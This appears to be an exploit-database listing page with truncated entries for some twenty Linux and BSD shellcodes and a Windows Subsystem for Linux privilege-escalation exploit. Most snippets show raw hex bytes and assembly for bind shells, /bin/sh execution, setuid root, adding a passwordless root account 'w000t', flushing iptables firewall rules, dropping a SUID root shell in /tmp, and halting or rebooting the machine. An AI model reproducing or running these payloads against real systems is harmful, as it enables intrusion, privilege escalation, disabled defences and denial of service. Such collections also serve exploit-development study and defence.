Linux/x64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode (136 bytes)

global start start: ; sock = socketAFINET, SOCKSTREAM, 0 ; AFINET = 2 ; SOCKSTREAM = 1 ; syscall number 41 push 41 pop rax push 2 pop rdi push 1 pop rsi cdq syscall ; copy socket descriptor to rdi for future use xchg rdi,rax ; server.sinfamily = AFINET ; server.sinport = htonsPORT ;...

Microsoft Windows Subsystem for Linux - 'execve()' Local Privilege Escalation

define GNUSOURCE include include include include include include include include include include include include include include include define RINGSIZE 0x2000000 define PIPESIZE 0xb8 define PTRSIZE 0x8 define STRHDRSIZE 0x18 define LEAKOFFSET 0x68 define SHELLCODEOFFSET 0x200 define...

Linux/x64 - Twofish Encoded + DNS (CNAME) Password + execve(/bin/sh) Shellcode

Linux/x64 - Twofish Encoded + DNS CNAME Password + execve/bin/sh Shellcode. Shellcode exploit for Linuxx86-64 platform /----- Crypter.c ----- / / Optimized Twofish C implementation by Drew Csillag: https://www.schneier.com/code/twofish-cpy.zip Partially re-written by Andre Lima...

Microsoft Windows Subsystem for Linux - execve() Local Privilege Escalation

Microsoft Windows Subsystem for Linux - execve Local Privilege Escalation define GNUSOURCE include include include include include include include include include include include include include include include define RINGSIZE 0x2000000 define PIPESIZE 0xb8 define PTRSIZE 0x8 define STRHDRSIZE 0x...

Linux/x86 ROT-N + Shift-N + XOR-N Encoded /bin/sh Shellcode (77 bytes)

/ Description ; Title : ROT-N + Shift-N + XOR-N encoded /bin/sh - Shellcode ; Author : Hashim Jawad ; Blog Post : https://ihack4falafel.com/2018/01/rot-n-shift-n-xor-n-shellcode-encoder-linux-x86/ ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/sh shell ; Tested On : Ubunt...

Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (26 bytes)

/ Description ; Title : Polymorphic execve /bin/sh - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/sh shell ; OS : Linux ; Arch : x86 ; Size : 26 bytes sh.nasm global start section .text start: ; zero out EA...

Linux/x86 - Add Root User (w000t) + No Password Shellcode (177 bytes)

Linux x86 shellcode that uses execve and echo to create a passwordless root account. Author: zillion Email : email protected Homepage: safemode.org File: w000t-shell.c / This shellcode will add a passwordless local root account 'w000t' Written by email protected Why so big ? it uses execve ;- /...

Linux/x86 - Audio (knock knock knock) via /dev/dsp + setreuid(0,0) + execve() Shellcode (566 bytes)

/ Audio knock knock knock via /dev/dsp + setreuid0,0 + execve shellcode. Linux x86 Author: Cody Tubbs loophole of hhp. www.hhp-programming.net / email protected 12/20/2000. F.U. to ph1xry4n. -From me and dxmd... If I ripped this, show me the source... or better yet go barrow a shovel so you can d...

Linux/x86 - execve(/bin/sh,0,0) Shellcode (21 bytes)

/ linux/x86 execve"/bin/sh",0,0 21 bytes http://www.gonullyourself.org sToRm / char shellcode = // "\x31\xc9" // xor %ecx,%ecx "\xf7\xe1" // mul %ecx "\x51" // push %ecx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\xb0\x0b" //...

Linux/x86 - execve(/sbin/iptables -F) Shellcode (70 bytes)

Author: zillion Email: email protected Home: http://www.safemode.org Linux x86 shellcode that does an execve of /sbin/iptables -F in order to flush activated firewall rules. File: flush-iptables-shell.c / This shellcode will do /sbin/iptables -F Written by email protected / char shellcode=...

Linux/x86 - execve(/sbin/ipchains -F) Shellcode (70 bytes)

Author: zillion Email: email protected Homepage: http://www.safemode.org Linux x86 shell code that does an execve of /sbin/ipchains -F File name: flush-ipchains-shellcode.c / This shellcode will do /sbin/ipchains -F Written by email protected / char shellcode=...

Linux/x86 - fork() + setreuid(0, 0) + execve(cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh) Shellcode (126

/ linux/x86 shamelessly ripped from one of my unpublished exploits / / fork's, does setreuid0, 0; then execve's: /bin/sh -c "cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh" hence dropping a SUID root shell in /tmp. / char shellc = / Shellcode to drop a SUID root shell in /tmp/sh. Forgive the Intel syntax...

Linux/x86 - execve(/sbin/halt,/sbin/halt) Shellcode (27 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx...

BSD/x86 - execve (/bin/sh) Shellcode (28 bytes)

/ simply execvebinsh shellcode in 28 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void...

Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh,[/bin/sh,NULL])) Shellcode (25 bytes)

include const char shellcode= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x2e" // mov $0x2e,%al "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al So you'll get segfault if it's not able to do the setuid0. If you don't want this you can...

Linux/x86 - Bind TCP (3879/TCP) Shell (/bin/sh) Shellcode (113 bytes)

/ Connecting shellcode written by lamagra http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 start: socketAFINET,SOCKSTREAM,IPPROTOIP; movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax 102 = socketcall xorl %ecx,%ecx movl %ecx,%ebx incl %ebx socket movl...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)

include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena //bin/sh con un 0 "\x68\x6e\x2f\x73\x68"...

Linux/x86 - execve(/sbin/reboot,/sbin/reboot) Shellcode (28 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x62\x6f\x6f\x74" // push $0x746f6f62 "\x68\x6e\x2f\x72\x65" // push $0x65722f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // pu...

Linux/x86 - setuid(0) + execve("/bin/sh",0,0) Shellcode (28 bytes)

/ linux/x86 setuid0 & execve"/bin/sh",0,0 28 bytes http://www.gonullyourself.org sToRm I made this, because http://www.milw0rm.com/shellcode/7115 felt the need to express his "superior" 28-byte shellcode in all caps. I wasn't able to beat his code, but it's no longer special. / char shellcode = /...

Linux/x86 - execve(/sbin/shutdown,/sbin/shutdown 0) Shellcode (36 bytes)

include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x64\x6f\x77\x6e" // push $0x6e776f64 "\x68\x73\x68\x75\x74" // push $0x74756873 "\x68\x69\x6e\x2f\x2f" // push $0x2f2f6e69 "\x68\x2f\x2f\x73\x62" // push $0x62732f2f "\x89\xe3" // mov...